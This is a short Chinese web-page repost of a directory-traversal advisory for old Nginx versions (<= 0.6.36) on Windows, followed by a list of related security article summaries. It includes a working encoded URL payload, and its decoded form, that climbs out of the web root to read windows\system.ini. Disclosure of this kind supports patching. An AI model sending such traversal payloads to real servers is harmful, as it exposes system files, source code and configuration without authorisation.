当前位置: 开发笔记 > 后端 > 正文

Nginx遍历目录0day

作者：关于快乐的秘密_473 | 来源：互联网 | 2023-06-22 15:24

针对版本：

针对版本：<= 0.6.36
测试系统：windows2003服务器
通过“../”来操控URL，不仅能遍历web的目录，还能遍历web服务器上的任意目录（包括系统目录)，甚至程序文件的源代码，配置文件，和关键的系统文件。
例子：

<br>http://localhost/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5csystem.ini

1	http://localhost/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5csystem.ini

URL解密：

<br>http://localhost/\..\..\..\..\..\..\..\windows\system.ini

1	http://localhost/\..\..\..\..\..\..\..\windows\system.ini

nginx
漏洞

推荐阅读

mysql
服务器部署中的安全策略实践与优化

服务器部署中的安全策略实践与优化 ... [详细]

蜡笔小新 2024-11-10 13:04:30
service
用阿里云的免费 SSL 证书让网站从 HTTP 换成 HTTPS

HTTP协议是不加密传输数据的，也就是用户跟你的网站之间传递数据有可能在途中被截获，破解传递的真实内容，所以使用不加密的HTTP的网站是不 ... [详细]

蜡笔小新 2024-11-13 14:02:50
api
WordPress Duplicator 0.4.4 版本存在跨站脚本攻击漏洞分析

在对WordPress Duplicator插件0.4.4版本的安全评估中，发现其存在跨站脚本（XSS）攻击漏洞。此漏洞可能被利用进行恶意操作，建议用户及时更新至最新版本以确保系统安全。测试方法仅限于安全研究和教学目的，使用时需自行承担风险。漏洞编号：HTB23162。 ... [详细]

蜡笔小新 2024-11-10 13:16:43
mysql
如何有效规避以root用户运行MySQL的潜在安全威胁

MySQL作为一款广泛使用的关系型数据库管理系统，在实际应用中，许多用户习惯于使用root账户进行操作，但这会带来显著的安全隐患。本文将详细探讨如何通过创建专用账户和实施严格的权限管理，有效规避以root用户运行MySQL所带来的潜在安全威胁。同时，文章还将提供一系列最佳实践，帮助用户增强数据库的整体安全性。 ... [详细]

蜡笔小新 2024-11-10 12:00:44
mysql
FreeBSD环境下PHP GD库安装问题的详细解决方案

在 FreeBSD 环境下，安装 PHP GD 库时可能会遇到一些常见的问题。本文详细介绍了从配置到编译的完整步骤，包括解决依赖关系、配置选项以及常见错误的处理方法。通过这些详细的指导，开发者可以顺利地在 FreeBSD 上完成 PHP GD 库的安装，确保其正常运行。此外，本文还提供了一些优化建议，帮助提高安装过程的效率和稳定性。 ... [详细]

蜡笔小新 2024-11-09 17:50:30
python
在CentOS系统中安装Scrapy时常见的问题及解决方法

在 CentOS 7 系统中安装 Scrapy 时遇到了一些挑战。尽管 Scrapy 在 Ubuntu 上安装简便，但在 CentOS 7 上需要额外的配置和步骤。本文总结了常见问题及其解决方案，帮助用户顺利安装并使用 Scrapy 进行网络爬虫开发。 ... [详细]

蜡笔小新 2024-11-09 15:28:11
mysql
Axublog 1.1.0 版本 c_login.php 文件中发现 SQL 注入安全漏洞

在 Axublog 1.1.0 版本的 `c_login.php` 文件中发现了一个严重的 SQL 注入漏洞。该漏洞允许攻击者通过操纵登录请求中的参数，注入恶意 SQL 代码，从而可能获取敏感信息或对数据库进行未授权操作。建议用户尽快更新到最新版本并采取相应的安全措施以防止潜在的风险。 ... [详细]

蜡笔小新 2024-11-09 13:37:09
mysql
成都服务器租赁适用于哪些网站业务部署——Vecloud专业解析

成都，作为四川省的省会，不仅是西南地区唯一的副省级城市，也是国家重要的高新技术产业基地和商贸物流中心。Vecloud专业解析指出，成都服务器租赁服务特别适合各类网站业务的部署，尤其是需要高效、稳定和安全的在线应用。无论是电子商务平台、内容管理系统还是大数据分析，成都的服务器租赁都能提供强大的支持，满足不同企业的需求。 ... [详细]

蜡笔小新 2024-11-08 21:00:57
mysql
C++ 开发实战：实用技巧与经验分享

C++ 开发实战：实用技巧与经验分享 ... [详细]

蜡笔小新 2024-11-07 20:31:03
mysql
CTF竞赛中文件上传技巧与安全绕过方法深入解析

CTF竞赛中文件上传技巧与安全绕过方法深入解析 ... [详细]

蜡笔小新 2024-11-07 15:41:52
mysql
优化后的标题：HTML框架集（FRAMESET）的深入解析与应用实例

本文深入解析了HTML框架集（FRAMESET）的使用方法及其应用场景。首先介绍了几个关键概念，如如何通过FRAMESET标签将主视图划分为多个独立的区域，每个区域可以加载不同的HTML文件。此外，还详细探讨了FRAMESET在实际开发中的优缺点，并提供了具体的实例代码，帮助开发者更好地理解和应用这一技术。 ... [详细]

蜡笔小新 2024-11-07 12:38:37
python
如何精通编程语言：全面指南与实用技巧

如何精通编程语言：全面指南与实用技巧 ... [详细]

蜡笔小新 2024-11-07 11:56:01
service
利用Axis2默认凭据漏洞入侵Web服务的安全风险分析与防范措施分享

近期，针对Axis2默认凭据漏洞的攻击案例在安全社区引起了广泛关注。这些攻击通常利用Axis2的默认用户名和密码进行渗透测试，技术手段相对固定。本文在综合分析多个案例的基础上，详细探讨了该漏洞的安全风险，并提出了有效的防范措施，以帮助企业和开发者加强Web服务的安全防护。 ... [详细]

蜡笔小新 2024-11-07 11:38:58
注入
PHP中利用exec函数执行Shell命令的注入技巧详解

在PHP中使用`exec`函数执行Shell命令时，需要特别注意安全性问题。当使用来自远程的数据构建命令时，极易引发命令注入漏洞。本文详细探讨了如何避免使用污染数据，确保系统命令的安全执行，并提供了多种防护措施和最佳实践。 ... [详细]

蜡笔小新 2024-11-07 10:15:18
注入
某CMS 20180827版前端存在GETShell漏洞分析

2018年9月21日，Destoon官方发布了安全更新，修复了一个由用户“索马里的海贼”报告的前端GETShell漏洞。该漏洞存在于20180827版本的某CMS中，攻击者可以通过构造特定的HTTP请求，利用该漏洞在服务器上执行任意代码，从而获得对系统的控制权。此次更新建议所有用户尽快升级至最新版本，以确保系统的安全性。 ... [详细]

蜡笔小新 2024-11-06 11:57:32

关于快乐的秘密_473

这个家伙很懒，什么也没留下！

Tags | 热门标签

RankList | 热门文章